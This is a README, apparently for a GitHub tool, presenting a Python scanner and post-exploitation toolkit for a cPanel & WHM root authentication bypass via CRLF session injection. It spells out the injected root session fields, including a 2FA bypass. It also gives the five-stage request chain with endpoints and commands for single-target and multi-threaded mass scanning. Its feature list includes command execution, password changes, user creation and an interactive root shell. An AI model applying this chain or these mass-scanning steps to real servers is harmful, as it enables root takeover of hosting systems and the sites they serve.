CPANEL CVE EXPLOIT

 ██████╗██████╗  █████╗ ███╗   ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗  ██║██╔════╝██║
██║     ██████╔╝███████║██╔██╗ ██║█████╗  ██║
██║     ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝  ██║
╚██████╗██║     ██║  ██║██║ ╚████║███████╗███████╗
 ╚═════╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝

 ██████╗██╗   ██╗███████╗
██╔════╝██║   ██║██╔════╝
██║     ██║   ██║█████╗
██║     ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
 ╚═════╝  ╚═══╝  ╚══════╝

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝

Automated scanner & post-exploitation toolkit for CVE-2026-41940 — cPanel & WHM root authentication bypass via session-file CRLF injection.

Overview
CVE Details
How It Works
Features
Affected Versions
Requirements
Installation
Quick Start
Usage
Post-Exploit Actions
Interactive WHM Shell
Mass Scanning & Pipeline Integration
Shodan Dorks
Output Format
Example Session
Legal Disclaimer

Overview

CPANEL CVE EXPLOIT is a single-file Python tool designed for authorized security assessments of cPanel & WHM servers vulnerable to CVE-2026-41940.

The vulnerability allows an unauthenticated remote attacker to poison WHM session files through CRLF injection in the Authorization: Basic header, bypassing authentication and gaining root-level WHM access without valid credentials.

Property	Value
CVE	CVE-2026-41940
Severity	Critical
CVSS	10.0
Attack Vector	Network / Unauthenticated
Impact	Full WHM root access
Default Port	`2087` (WHM)
Status	In-the-wild exploitation confirmed (Apr 2026)

CVE Details

Root Cause

In vulnerable versions of cPanel & WHM, saveSession() in Session.pm calls filter_sessiondata() after writing the session file to disk. An attacker can inject CRLF (\r\n) characters through the HTTP Authorization: Basic header, which gets written directly into the on-disk session file — bypassing sanitization.

Injected Session Fields

The tool uses a Base64-encoded payload that decodes to:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

These fields simulate a fully authenticated root WHM session, including 2FA bypass (tfa_verified=1) and root privilege flag (hasroot=1).

Fix

cPanel moved filter_sessiondata() to execute before the session write operation in Session.pm.

How It Works

The exploit chain consists of 5 stages (Stage 0–4):

flowchart TD
    A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
    B --> C[Stage 2: CRLF Injection via Authorization Header]
    C --> D[Stage 3: Session Propagation via do_token_denied]
    D --> E[Stage 4: Verify Root Access via json-api/version]
    E --> F{Vulnerable?}
    F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
    F -->|No| H[Skip Target]

    A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
    B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
    C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
    D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
    E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]

Stage	Endpoint	Purpose
0	`/openid_connect/cpanelid`	Auto-discover canonical hostname via 307 redirect
1	`/login/?login_only=1`	Obtain preauth `whostmgrsession` cookie with wrong credentials
2	`/`	Inject CRLF-poisoned `Authorization: Basic` header into session file
3	`/scripts2/listaccts`	Trigger `do_token_denied` gadget to flush session to cache
4	`/{token}/json-api/version`	Confirm root access — HTTP 200 with version JSON

Features

Feature	Description
Single-target scan	Full exploit chain against one WHM URL
Mass scanning	Multi-threaded scanning from file or stdin
Version detection	Automatic patched/vulnerable version comparison
Post-exploit API	Password change, command exec, account listing, user creation
Interactive shell	Built-in WHM root shell with file read & API commands
Selenium login	Auto-inject session cookie into Chrome/Firefox
Manual browser fallback	Console JavaScript snippets for manual WHM login
RCE check	Quick `id` / `uname -a` verification after bypass
JSON export	Save all findings to structured JSON report
Pipeline-ready	Works with `httpx`, `subfinder`, `shodan`, and `awk` pipelines
Stdlib only	No pip dependencies required for core functionality
Colorized output	Real-time stage logging with severity indicators

Affected Versions

Branch	Patched At	Status
11.110.x	`11.110.0.97`	Vulnerable below patch
11.118.x	`11.118.0.63`	Vulnerable below patch
11.126.x	`11.126.0.54`	Vulnerable below patch
11.132.x	`11.132.0.29`	Vulnerable below patch
11.134.x	`11.134.0.20`	Vulnerable below patch
11.136.x	`11.136.0.5`	Vulnerable below patch

Note: Targets running patched builds are automatically flagged and skipped during scanning.

Requirements

Core (required)

Python 3.8+
No external packages — uses Python standard library only

Optional

Package	Purpose
`selenium`	Browser auto-login (`--selenium`)
Chrome / Firefox	Browser engine for Selenium

pip install -r requirements.txt   # optional — selenium only

Installation

git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit

No build step required. Run directly:

python3 test-cve.py --help

Quick Start

# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087

# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list

# Mass scan from file, 20 threads, save JSON report
python3 test-cve.py -l targets.txt -t 20 -o results.json

Usage

usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                   [-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]

Most Popular

Automated-scanner-CVE-2026-41940